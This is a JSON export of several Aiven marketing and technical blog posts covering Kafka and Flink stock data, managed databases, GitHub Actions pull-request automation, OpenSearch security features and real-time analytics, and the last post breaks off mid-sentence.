b'{\"symbol\":\"MYSQL\",\"change_bid_price\":1.43,\"change_ask_price\":1.08,\"min_bid_price\":667.17,\"max_bid_price\":668.6,\"min_ask_price\":666.92,\"max_ask_price\":668,\"time_interval\":3,\"time_stamp\":\"2021-11-27 01:52:42.358\"}'\nReceived: b'{\"symbol\":\"REDIS\",\"change_bid_price\":2.7,\"change_ask_price\":4.31,\"min_bid_price\":12.98,\"max_bid_price\":15.68,\"min_ask_price\":11.55,\"max_ask_price\":15.86,\"time_interval\":3,\"time_stamp\":\"2021-11-27 01:52:42.359\"}'\n```\n\n## Further reading\n- [An introduction to Apache Flink®](https://aiven.io/blog/introduction-to-apache-flink \"An introduction to Apache Flink | Aiven Blog\")\n- [Move from batch to streaming with Apache Kafka® and Apache Flink®](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)\n- [Data and disaster recovery](https://aiven.io/blog/data-and-disaster-recovery \"Data and disaster recovery | Aiven Blog\")\n- [5 benefits of an Apache Kafka centric microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture \"5 benefits of an Apache Kafka centric microservice architecture | Aiven Blog\")\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-df5340822918a4a164a295d82d3d7ef1999dae66-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-02T00:00:00.000Z","related":[{"_key":"f2aa4e30a8f3","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"},{"_key":"6787214adf24","_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"},{"_key":"0e7824547cab","_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"With Apache Kafka® and Apache Flink®, you can now have coding-free support for real-time data processing and streaming analytics!","metaImage":{"alt":"","asset":{"_ref":"image-df5340822918a4a164a295d82d3d7ef1999dae66-1567x844-png","_type":"reference"}},"metaTitle":"Real-time stock data with Apache Flink® and Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/real-time-stock-data-with-apache-flink-and-apache-kafka"},"subtitle":"With Apache Kafka® and Apache Flink®, you can now have coding-free support for real-time data processing and streaming analytics!","title":"Real-time stock data with Apache Flink® and Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"1Ra2d6bJ8rmAaOIoRQafNS","_rev":"GIOwkysrijyYbzGkS40oS6","_type":"post","_updatedAt":"2024-07-04T13:55:00Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"## What is a managed database service\n\nWhat do developers want from a database? In the cloud-native era, developers want a database to be reliable, scalable, and logically act as a single entity regardless of the number of instances. For many businesses, managing a database is not their core strength, and neither it is their competitive advantage. A [managed database](https://aiven.io/blog/5-best-practices-for-cloud-database-management) provides all these features (and more) so that developers can focus on developing their business-critical applications.\n\nIn this article, I discuss the true costs and benefits of self-hosting and managing a database, I'll highlight the benefits of a managed database.\n\n## Cost of hosting and managing databases\n\nFrom a cost perspective, consider these three factors for managing a database:\n\n**1. Hardware costs**: When hosting a database, you typically have either physical or virtual machines (running Linux). This hardware costs money. In the case of physical hardware, you also have to foot the costs of the physical setup, networking, and security (you don't want someone to run away with a disk, right?).\n\n**2. Software costs**: The license of your database software costs money. If you're using open-source software (good choice BTW), you avoid licensing fees but you need experienced DBAs and engineers to make the open-source software work for your business. More on this below...\n\n**3. Operational costs**: Operational costs are costs to run your database smoothly on a day-to-day basis. You'll need a team of DBAs and/or SREs to configure and monitor these databases. The cost of technical talent is the biggest chunk of the operational costs. Besides running the main database, for production databases, you probably have some disaster recovery plans. There are costs associated with creating backups (cost of storage), as well as the cost of technical talent who spends time on the database backup rather than working on your business applications. Also, both operating system and databases must be updated, and incur costs for a zero downtime setup.\n\nA self-hosted and self-managed option can make sense for large engineering teams with deep expertise in databases, or for businesses that need custom solutions for their database needs. It gives the owner more control.\n\n## Benefits of managed databases\n\nIf yours isn't a large enterprise, though, managed options are usually more feasible. Let's take a look at some of the benefits.\n\n### Hassle-free administration\nThe first benefit of a managed database is that you don't have to administer either the operating system of the host machine or the database itself. Security patches and updates for the operating system and database can get time-consuming and a managed database provider runs this maintenance for you in the background. Your data is encrypted at rest and in transit with most managed database providers.\n\n### Quick and easy scalability\nWhether you need to scale up or scale out, you can do so with the click of a button or a CLI command rather than buying expensive hardware. In the case of self-hosted database on a virtual machine, you would most likely need to take the database instance down before adding more compute power. In the case of managed database, you can respond to increased load with a more powerful machine or increased number of database instances. Often times, your managed database service will not be impacted during this migration.\n\n### Optimized performance\nA managed database provider will fine-tune the database to drive optimal performance. Unless you have database experts in your team, you will have difficulties to turn the knobs to get peak database performance. Furthermore, with cloud/managed database services, you'll have the option to choose from HDD or SSD based on your estimated IOPS. If you own the servers yourself, you're stuck with the choice of storage.\n\n### Diverse monitoring\nLogs and metrics for your databases are provided out-of-the-box for a managed database service which you don't have to pay for. On the other hand, you would have to write custom integrations for your self-hosted database.\n\n### Costs governed by usage\nCloud and managed database services are billed by the hour (or even minutes in some cases). That means that you only pay for your usage and don't pay for idle server hours.\n\n## Wrapping up\n\nThis post discussed the value of a managed database service over managing the database yourself. Here's some further reading on the topic:\n- [IDC: Aiven's cloud data services bring 340% three year ROI [WHITEPAPER]](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi \"IDC: Aiven's cloud data services bring 340% three year ROI | Aiven blog\")\n- [Why DBAs embrace managed services](https://aiven.io/blog/dbas-shouldnt-be-afraid-of-managed-services \"Why DBAs embrace managed services | Aiven blog\")\n- [12 reasons you(r) boss should choose a public cloud service](https://aiven.io/blog/12-reasons-you-should-choose-a-public-cloud-service \"12 reasons you(r) boss should choose a public cloud service | Aiven blog\")\n- [Bring Your Own Account to Aiven](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc)\n- [5 tips for choosing a DBaaS vendor](https://aiven.io/blog/5-tips-for-choosing-a-dbaas-vendor \"5 tips for choosing a DBaaS vendor | Aiven blog\")\n- [Public v private clouds - what's the difference?](https://aiven.io/blog/public-v-private-clouds-whats-the-difference \"Public v private clouds - what's the difference? | Aiven blog\")\n\n--\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-304d1c1f13d60bad985e31ec81fef813806f40be-1567x844-png","_type":"reference"}},"publishedAt":"2022-02-25T00:00:00.000Z","seo":{"metaDescription":"Should you get your database managed? Discover the real costs and benefits of self-hosted vs. managed databases.","metaImage":{"alt":"","asset":{"_ref":"image-304d1c1f13d60bad985e31ec81fef813806f40be-1567x844-png","_type":"reference"}},"metaTitle":"The case for managed databases"},"slug":{"_type":"slug","current":"/blog/the-case-for-managed-databases"},"subtitle":"Should you get your database managed? Discover the real costs and benefits of self-hosted vs. managed databases.","title":"The case for managed databases"} {"__i18n_lang":"en","_createdAt":"2022-09-30T15:36:52Z","_id":"QDu7ILNOyiup25wQK5WGU","_rev":"VeNKqGNmt13PzvGhqsS19A","_type":"post","_updatedAt":"2024-01-29T15:38:20Z","authors":[{"_key":"4u9AY0PiaCCkrz1PHfwCfy","_ref":"4u9AY0PiaCCkrz1PHfwCfy","_type":"reference"}],"body":"Whenever you catch yourself in a repetitive task, try this: step back and think about ways you might automate it. One tool CI/CD folks love to use for automation is GitHub Actions. \n\nGitHub Actions are widely used to run tests and perform checks on our code. But what happens when your automation changes the code, and you want to commit those changes? If you're thinking of running the script manually and opening a pull request, this is an option. But here's an even *better* option: automate the process by using GitHub Actions to open pull requests for you. This article shows you how, step by step.\n\n## The scenario\n\nAt Aiven, we've got an interesting problem: we keep expanding our list of cloud providers. This is nice because it gives you the flexibility to choose whatever provider works for you. For us, maintainers of dev portal documentation, it's a challenge to ensure that the most up-to-date information about our cloud providers is available for our readers.\n\nYou can find a list of Aiven's cloud providers on [Docs.aiven.io](https://docs.aiven.io/ \"Aiven documentation\"), which is also the portal where we host the developer documentation. To quickly retrieve a list of currently-available cloud providers, my colleague Lorna Mitchell wrote a Python script that pulls our cloud listing from the [Aiven API](https://api.aiven.io/doc/#operation/ListClouds) and [generates documentation](https://github.com/aiven/devportal/pull/675/files), which is really cool!\n\nHaving the script was great. Now, by running the script, we could quickly generate fresh documentation out of the Aiven API data. This didn't automate the process entirely, though. Getting the changes merged still required a number of manual actions on a regular basis: run the script, check if there are new changes to commit, create pull requests, and so on.\n\nThis is a good example of a case where you can configure a GitHub Actions workflow to run the script periodically and open a pull request when changes are detected. So if you have a similar challenge, below you'll find how to add an automation flow step by step.\n\n## Configure GitHub Actions workflow\n\nTime for some action - or better, GitHub Actions! You can follow these steps to configure your GitHub Actions workflow:\n\n### 1) Check the script\n\nLet's ensure that the script works correctly before using it for automation. So, here you can run your script a couple of times and check that it is working as it is supposed to.\n\nTo make the process easier, you can add the commands to run the script in a Makefile. Makefiles are a helpful way to organize code compilation, and it helps to run long commands in a shorter version using the ``make`` command. Following our example, here is what we add to the [Makefile](https://github.com/aiven/devportal/blob/main/Makefile#L96-L97):\n\n```\nSOURCEDIR = .\n# (Re)Generate cloud listing\ncloud-list:\n python \"$(SOURCEDIR)/scripts/aiven/clouds.py\" \"includes/clouds-list.rst\"\n```\n\nNow we can simply run the script with:\n\n```\nmake cloud-list\n```\n\nThis step ensures that the script you use to change the code produces the changes you want to commit in a pull request. Mistakes happen. If your script isn't working as expected, you may need to debug your code before proceeding. If the script is working, then you can go ahead and create the GitHub workflow.\n\n### 2) Create a GitHub workflow\n\nIn this step, you need to add a YAML file to define the workflow configuration. First, make sure you have created a ``.github/workflows/`` folder; if not, you can go ahead and create the directory. Then, create a YAML file to define the workflow configuration, for example, [``.github/workflows/cloud-list.yaml``](https://github.com/aiven/devportal/blob/main/.github/workflows/cloud-list.yaml). In this file, you can define the name of the workflow. In our example, we start by giving a name to our workflow:\n\n```\nname: Cloud - Create PR to update available list\n```\n\nPick a name for a file and for the workflow that is related to the changes you are bringing to your code. This can help your code and to identify your workflows. Check out this quick guide from GitHub in [how to create your first workflow](https://docs.github.com/en/actions/quickstart). \n### 3) Choose a trigger\n\nGitHub Actions enable you to trigger your workflow to run based on a certain event or events. In the example, the job needs to run periodically. For that, configure it to run ``on schedule`` according to a [cron job](https://ostechnix.com/a-beginners-guide-to-cron-jobs/).\n\nThe cron syntax can be confusing sometimes. To double-check your cron syntax, you can use an online and free tool called [crontab guru](https://crontab.guru/). Besides this, the page contains many [examples](https://crontab.guru/examples.html) that can help understand the syntax better.\n\nFor example, this workflow is configured to run every Tuesday at 6 AM UTC (8 AM CEST) time:\n\n```\non:\nschedule:\n - cron: \"0 6 * * 2\"\n```\n\nOn GitHub Actions, the time is based on UTC, so you may want to consider this during the setup.\n\n\u003e **Note:** On GitHub Actions, the shortest interval you can run scheduled workflows is once every 5 minutes.\nIf you want to run your job in every pull request or have a different use case, you can check out all the available triggers to run your workflow on the [GitHub documentation](https://docs.github.com/en/actions/using-workflows/triggering-a-workflow).\n\n### 4) Install dependencies and run the script\n\nA GitHub workflow is composed of one or more jobs. A job is a set of steps executed in a certain environment defined on the ``runs-on``. In the example below, the ``CloudList`` job runs on the latest ubuntu image. After defining the environment, you need to ``checkout`` from a branch, for example the main branch, and decide on the Python version. Finally, you need to add a step to install the dependencies and run your script.\n\n```\njobs:\nCloudList:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout the repo\n uses: actions/checkout@v2\n - name: Set up Python 3.8\n uses: actions/setup-python@v2\n with:\n python-version: \"3.8\"\n - name: Install dependencies\n run: |\n python -m pip install --upgrade pip\n pip install -r requirements.txt\n - name: Update available cloud list\n run: make cloud-list\n```\n\nWith this, the job already runs periodically and generates the file. However, the final goal is to open a pull request so maintainers can check the changes and merge the code. So let's see how you can add the pull request step to your workflow.\n\n### 5) Create pull request\n\nYou can create a pull request by using the [Create Pull request](https://github.com/peter-evans/create-pull-request) action in our workflow. A cool feature here is that you can add some customization related to your pull request that can help in the pull request review process, including labels and a defined branch name, for example:\n\n```\n- name: Create Pull Request\nuses: peter-evans/create-pull-request@v4\nwith:\n commit-message: Cloud - Update available list\n title: Cloud - Update available list\n body: Cloud - Update available list\n base: main\n labels: automated-pr, Clouds \u0026 Regions\n branch: cloud-update-advanced-params\n delete-branch: true\n```\n\nThe workflow runs the specified jobs according to the scheduled time even if the action is not merged.\n\n![workflow-running screencap](//cdn.sanity.io/images/sczeoy4w/production/d247849642fa9a6e246d4733aa3b9f5c6f9bedd4-2942x1626.png)\n\nBesides periodically running a workflow, you can combine it with the option to manually trigger your workflow, which can help you to test it. You can check out this [GitHub Actions manual](https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/) for that.\n\nWhen the action takes place, this is what the shiny new pull request looks like ✨:\n\n![pull-request-open screencap](//cdn.sanity.io/images/sczeoy4w/production/ae3158d89c3454eee1cbb57210afe527b7199714-3688x1784.png)\n\nSo every week, the workflow runs and keeps our Aiven [cloud list](https://aiven.io/docs/platform/reference/list_of_clouds.html) always updated for our beloved users. 🧡\n## Conclusion\n\nAs devportal maintainers, we are happy to use GitHub Action in our CI/CD process to keep our Aiven [cloud list](https://aiven.io/docs/platform/reference/list_of_clouds.html) always up-to-date. \n\nIn this article, we reviewed the workflow code one segment at a time. The complete script looks like this:\n\nFile: ``.github/workflows/cloud-list.yaml``\n\n```\nname: Cloud - Create PR to update available list\non:\n schedule:\n - cron: \"0 6 * * 2\"\njobs:\n CloudList:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout the repo\n uses: actions/checkout@v2\n - name: Set up Python 3.8\n uses: actions/setup-python@v2\n with:\n python-version: \"3.8\"\n - name: Install dependencies\n run: |\n python -m pip install --upgrade pip\n pip install -r requirements.txt\n - name: Update available cloud list\n run: make cloud-list\n - name: Create Pull Request\n uses: peter-evans/create-pull-request@v4\n with:\n commit-message: Cloud - Update available list\n title: Cloud - Update available list\n body: Cloud - Update available list\n base: main\n labels: automated-pr, Clouds \u0026 Regions\n branch: cloud-update-advanced-params\n delete-branch: true\n```\n\n## Read more\n\nBesides periodically running a workflow, you can also add the option to trigger your workflow manually. You can check out this [GitHub Actions manual](https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/) with all the information.\n\nIf what you have in mind for your pull request looks different, you can check out more [examples](https://github.com/peter-evans/create-pull-request/blob/main/docs/examples.md) on how to customize the ``create-pull-request`` actions to fit your use case.\n\nHere you can find more [examples](https://github.com/aiven/devportal/pull/945/files) to learn how to use GitHub Actions to open pull requests for you. Have fun automating your pull requests ⚙️!\n\n--\n\nIf you have any feedback or questions, hit us up on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[],"mainImage":{"alt":"","asset":{"_ref":"image-782b88fb26e2e0fead822c31c33a54b8dee5499b-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-27T00:00:00.000Z","related":[{"_key":"497e802ec5c0","_ref":"4390c17f-ed94-4bf3-a4f7-14c73e750746","_type":"reference"},{"_key":"7141923b70f0","_ref":"2067d9d5-96dc-4f71-81ff-9b7da70f5918","_type":"reference"},{"_key":"33e45bdbe07c","_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"You want to automate your pull requests with GitHub Actions? Follow these step-by-step instructions to configure your workflow now! ","metaImage":{"alt":"","asset":{"_ref":"image-782b88fb26e2e0fead822c31c33a54b8dee5499b-1567x844-png","_type":"reference"}},"metaTitle":"How to automagically open pull requests with GitHub Actions"},"slug":{"_type":"slug","current":"/blog/how-to-automagically-open-pull-requests-with-github-actions"},"subtitle":"Action time: Automate your pull request with GitHub Actions","title":"How to automagically open pull requests with GitHub Actions"} {"__i18n_lang":"en","_createdAt":"2023-08-31T18:31:42Z","_id":"66ccc151-4379-4389-8c5c-92ae18d73d3a","_rev":"VeNKqGNmt13PzvGhqsS0So","_type":"post","_updatedAt":"2024-01-29T15:38:04Z","authors":[{"_key":"53d6bb32b030","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"Authentication, Authorization, and Auditing (AAA) are the foundation of any robust security framework, responsible for controlling user access, enforcing policies, and monitoring resource usage. At Aiven, we understand the critical role these features play in safeguarding our customers’ environments. We are thrilled to announce the rollout of OpenSearch Security in Aiven for OpenSearch®, including single sign-on authentication, role-based access control, and audit logging. \n\nIt’s important to note up front that existing Aiven for OpenSearch® customers *do not need to make any changes* to their configuration in response to this release. OpenSearch Security is an *opt-in* feature.\n\n## Use cases for OpenSearch Security\n\nOpenSearch Security will be of particular interest to organizations with centralized identity management or regulatory responsibilities. By enabling OpenSearch Security, customers can integrate their existing access controls with Aiven for OpenSearch. This not only helps centralize access, but role mapping ensures that permissions defined in providers like Okta or AWS can be associated with Aiven roles to ensure stakeholders across departments are automatically granted access only to the data they need, complete with multi-tenant dashboards for each teams’ unique requirements. \n\nAudit logs provide feedback on whether those controls have been implemented properly. Events like a failed login or a user attempting to access content for which they aren’t authorized are captured and stored. Customers can further customize these logs to filter out edge cases or enable expanded logging for regulatory compliance. The results can then be visualized to make trends and outliers evident at a glance.\n\nIn the following sections, we’ll provide more detail about individual features, and provide links to helpful resources\n\n## OpenSearch single sign-on (SSO) authentication \n\nIn the past, Aiven for OpenSearch users relied on locally stored credentials (username/ password) for authentication against OpenSearch servers. Today, we introduce a new capability for centralized user authentication through [Single Sign-On (SSO) using SAML / OIDC protocols](https://aiven.io/docs/products/opensearch/howto/saml-sso-authentication). This integration allows you to use a centralized Identity and Access Management (IAM) solution for authentication, simplifying user management and access control.\n\nWith SSO, users authenticate directly with the IAM provider. They are then mapped to OpenSearch roles, enabling seamless access management for OpenSearch resources and data. Supported IAM providers include Okta, Auth0, and OneLogin.\n\n## Fine-grained role-based access control (RBAC) in OpenSearch\n\nAiven for OpenSearch access control enhancements takes security to the next level by offering fine-grained Role-Based Access Control (RBAC) to any Aiven for OpenSearch resources. This granular level of control empowers you to enforce your security policies effectively across teams with different access requirements. Additionally, SAML and OIDC users can use role mapping to tie Aiven for OpenSearch RBAC to existing access control definitions.\n\nKey capabilities of fine-grained access control include:\n\n- Role-based cluster level access control\n- Role-based index level access control\n- Comprehensive user, role, and permission management\n- Document-level security\n- Field-level security\n- REST management API security\n\n\n## Audit logs for enhanced security and compliance\n\nMaintaining a secure environment requires complete visibility into user activities. We've got you covered with our comprehensive audit logging. Audit logs allow you to monitor all user actions within Aiven for OpenSearch, providing valuable insights for compliance purposes and facilitating post-security breach investigations. In addition, these logs simplify debugging and troubleshooting potential issues in OpenSearch.\n\nAudit logs are entirely customizable, enabling you to track various user activities, such as:\n\n- Authentication successes and failures\n- Requests to OpenSearch\n- Index changes\n- Incoming search queries\n\nAudit logs are securely stored in an OpenSearch index within the same Aiven for OpenSearch cluster. \n\n## Flexible multi-tenant OpenSearch Dashboards\n\nWe recognize that different teams have unique requirements for data visualization, and that's why we are introducing multi-tenant OpenSearch Dashboards. Now you can set up distinct dashboards and visualizations for each team, ensuring a seamless and personalized experience.\n\nTenants in OpenSearch Dashboards act as dedicated spaces for saving index patterns, visualizations, and dashboards. You have full control over user and role privileges for each tenant, allowing you to tailor access permissions as needed.\n\nFor example, you can create dashboards for your own exploratory work, detailed analytics within your team, and a summary dashboard for corporate leadership. You can also provide individual dashboards to each of your customers and safely manage access using OpenSearch roles.\n\n## How to get started\n\nTo enable OpenSearch Security in Aiven for OpenSearch, navigate to your OpenSearch service in the [Aiven Console](https://console.aiven.io/) and click on the Users tab. Select the Enable OpenSearch Security option. You will also need to create an OpenSearch Security Admin user for managing security. Note that once enabled, you cannot disable this feature yourself. Please [contact our support team](https://aiven.io/contact) for assistance if you need to disable it.\n\n![The users configuration screen now includes an \"Enable OpenSearch Security\" dialog window.](https://cdn.sanity.io/images/sczeoy4w/production/3aa21c4a36f68b18d315df346deaa55576247f2e-2498x752.png?w=450)\n\nTo set up SSO integration, you can use Aiven’s Console, CLI, or API. RBAC, audit logging, and OpenSearch Dashboards multi-tenancy are configured in OpenSearch Dashboards. For more information on how to do this, please refer to our [OpenSearch security documentation](https://aiven.io/docs/products/opensearch/concepts/os-security).\n\n### Compatibility Information\n\nWhen OpenSearch Security is enabled, OpenSearch users, roles, and access control lists are managed by OpenSearch itself, not by the Aiven Platform. Therefore, you cannot use Aiven’s Console, CLI, API, or Aiven’s Terraform provider to manage these resources. Instead, changes are made via the OpenSearch Security Dashboard or OpenSearch Security API. For more detail, see our documentation on [key considerations and system adaptation for OpenSearch® Security management](https://aiven.io/docs/products/opensearch/concepts/opensearch-security-considerations).\n\nIf you are a Terraform user, there are third-party providers available that support the OpenSearch Security API. We’ll be publishing specific guidance on how to use those providers in concert with the Aiven provider in a forthcoming blog, so stay tuned for more updates soon.\n\n## Pricing and Availability\n\nAiven for OpenSearch is available on all major hyperscalers - AWS, Google Cloud and Microsoft Azure - in over 100 regions globally.\n\nAiven for OpenSearch plans range from single-instance configurations in the Hobbyist and Startup tiers to multi-instance clusters in the Business and Premium tiers. Full details can be found on the [pricing page](https://aiven.io/pricing?product=opensearch).\n\nAiven for OpenSearch is priced per hour, with prices starting at \\$0.026/hour (\\$19/month). OpenSearch Security can be enabled at *no additional cost*.","categories":[{"_key":"c9a2487af677","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"dcfdee8cbfa8","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"fcb7b8f6b0cc","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"8638dd131254","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Aiven for OpenSearch® introduces advanced security features","asset":{"_ref":"image-967a7ceda4cd01882eb2967aa950b410d758fb89-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-06T13:00:00.000Z","related":[{"_key":"2965f3dc77d3","_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"},{"_key":"1a5922a0b93d","_ref":"4UiFOlqBKJ2Da9HxhJFdR2","_type":"reference"},{"_key":"f205faf938f3","_ref":"3GBxcNl39k10W3k2kiKeqf","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/aiven-for-opensearch-introduces-advanced-security-features"},"subtitle":"Aiven for OpenSearch® now includes OpenSearch Security, with SSO authentication, role-based access control, audit logging, and multi-tenant Dashboards","title":"Aiven for OpenSearch® introduces advanced security features"} {"__i18n_lang":"en","_createdAt":"2023-01-04T10:19:17Z","_id":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_rev":"Ypdm2WFkfKn13FbW5Xqtav","_type":"post","_updatedAt":"2024-09-25T11:02:48Z","authors":[{"_key":"2dbd96bae1eb","_ref":"d85943fb-1e96-4f71-84f9-91011d917141","_type":"reference"}],"body":"What was once a pipe dream is now a reality: advances in technology over the past decade have allowed businesses to harness the power of real-time data. However, while over 80% of businesses say [transforming to a real-time enterprise is critical to meeting customer expectations](https://partners.wsj.com/aerospike/the-power-of-now/the-future-of-business-starts-right-now/), only 12% have optimised their processes for real-time customer experiences, according to 451 Research data. \n\nReal-time data is not just a nice-to-have, but a must-have for businesses to stay afloat in the [“right now” economy](https://www.forbes.com/sites/forbestechcouncil/2022/05/23/delivering-data-in-the-right-now-economy/?sh=77383e1270a1). There are still some clear use cases for batch, for example, payroll or billing typically involve processing a large number of transactions on a regular basis. Batch processing allows companies to efficiently process payroll transactions in a single batch rather than processing them individually in real-time. However, more companies are switching to real-time in cases where getting and analysing continuous data really matters. \n\nIn this article, we’ll evaluate batch and real-time analytics, look at why switching from batch processing to real-time can prove useful, and how to move from a traditional tech stack to one that supports real-time analytics. \n\nLet’s dive in. \n\n## The problems with batch data processing \nBatch analytics refers to the processing and analysis of a high volume of data that has already been stored for a period of time. For example, companies process their financial reports on a quarterly and monthly basis.\n\nAs computers became more powerful, though, batch systems started delivering data faster and faster — first in weeks, then days, then hours. With batch data processing, you might end up with data inconsistencies, as it may not reflect the most up-to-date state of the data. For example, if a batch process is run at night to update a database, any changes made to the data during the day will not be reflected in the updated database until the next batch process is run.\n\nIn nearly every case, it’s more valuable to have an answer now than it is to have an answer next week.\n\nIn fact, data can lose its value even when it’s just a couple of milliseconds or microseconds old. Take financial instruments: it pays to know the current price of one down to the nanosecond. \n\nWhat’s most important today is your data’s freshness, latency, and value. We’ve come to the point of needing data as it happens, meaning real-time is now the norm. Newer technologies like [Apache Kafka®](https://aiven.io/blog/streaming-data-analytics-in-the-real-world) have replaced the traditional extraction, transformation, and loading (ETL) process. Now that companies can deliver huge amounts of data in[ near real-time](https://aiven.io/blog/near-real-time-elt-with-apache-kafka-and-snowflake), there’s less need for batch processing and delays with delivery. \n\nWe’ve come this far and there’s no going back with user and customer experience. There’s less and less room for slow analytics when nearly every industry requires real-time decision making. \n\nWhile real-time used to be a specialised version of batch, batch is becoming a specialised version of real-time. And there are risks to not taking advantage of real-time analytics.\n\n## Why moving from batch to real-time analytics is a good idea \n### Build resilient data pipelines \nSince we’ve come to rely on real-time analytics, resilience is absolutely paramount. Real-time [data pipelines](https://aiven.io/glossary/what-is-a-data-pipeline) are resilient at heart, meaning they can easily adapt in the event of failures. While real-time data processing is more technically challenging, it's much easier to change a real-time calculation. \n\nWith batch, your master file might not be up to date and it’s risky if you mess up. Even minor errors, like typos, can bring your batch process to a halt. If you collect data for a few hours and one batch fails, then the next one will be double the size. If your machine isn’t big enough to store all the data, then you need to scale your machines, which can be quite chaotic.\n\nWith real-time, information is always up to date and it’s much easier to detect anomalies. Companies are moving away from passive risk mitigation to active risk management thanks to real-time analytics. For example, you can detect fraud signals in real-time and stop fraudulent transactions from completing.\n\nBy switching to real-time, you’re better placed to depend on the accuracy and security of your data. And, of course, your processing time will also be faster. \n\n### Your competitors are already riding the real-time wave\nOnce a company goes real-time, everyone else has to play catch up. Whether you like it or not, real-time is the direction the world is going. By 2025, [nearly 30% of all data](https://www.seagate.com/files/www-content/our-story/trends/files/idc-seagate-dataage-whitepaper.pdf) will be consumed in real-time, and the transformation is already well underway.\n\nYou’ve likely heard the famous quote attributed to Henry Ford: “If I had asked my customers what they wanted, they would have said faster horses.” Not transitioning to real-time is the equivalent of saying “We're gonna stick with horses.” By sticking with batch, you are choosing to fight a much harder battle than you need to. \n\nMoving to real-time analytics helps you gain a competitive advantage and make new discoveries that could help grow your business. \n\n### Your efficiency will skyrocket\nCompanies using real-time analytics see huge efficiency gains. \n\nConsider how much real-time has already driven a boom in productivity: we wouldn’t have food delivery apps, the gig economy, or Uber without real-time systems. Sure, ordering a taxi for tomorrow is great, but it's not the same as ordering one right when you need it.\n\nWith real-time analytics, warehouses can streamline their operations and monitor the conditions of their goods. They can ensure factories won’t run out of equipment or raw materials at the wrong time, and predict when a machine is about to overheat so that they can divert some workload to a different factory. \n\nOr let’s say you have a pharmaceutical supply chain and you notice one product is out of stock in Germany — but just over the border in Switzerland, you have a surplus. Rather than only finding out about the surplus in Switzerland later, real-time analytics allow you to send the products to Germany the moment they’re needed there.\n\nWhen it comes to efficiency, the power of real-time analytics benefits nearly every industry. \n\n### Increase your revenue\n71% of technology leaders agree that they can tie their revenue growth directly to real-time data, according to the [State of the Data Race 2022](https://dtsx.io/3CGDcPp) report. \n\nWhile batch processing comes with a lower up-front investment, companies can actually cut costs with real-time since aggregating and joining data before ingestion requires less storage and processing. You can also perform serverless computing with real-time, where you only pay for compute time when you need it. Tools like [AWS Lambda®](https://aws.amazon.com/lambda/) allow you to cut costs and run applications during times of peak demand without crashing or over-provisioning resources.\n\nThe main cost with real-time is the opportunity cost to set it up, and the return on investment is potentially huge. \n\nMajor payment companies, for instance, save millions per day in revenue potentially lost to fraud with the help of real-time analytics. E-commerce companies can also increase their average cart transaction size with personalized recommendations, and reduce the number of abandoned carts with reminder emails. \n\nEvery second wasted can cost millions for today’s data-driven production lines. For example, if you have a forging production line, you can’t afford to make slow decisions. The metal equipment has to stay hot, and if it gets cold, you can lose millions of dollars per second. You don’t want to make the wrong 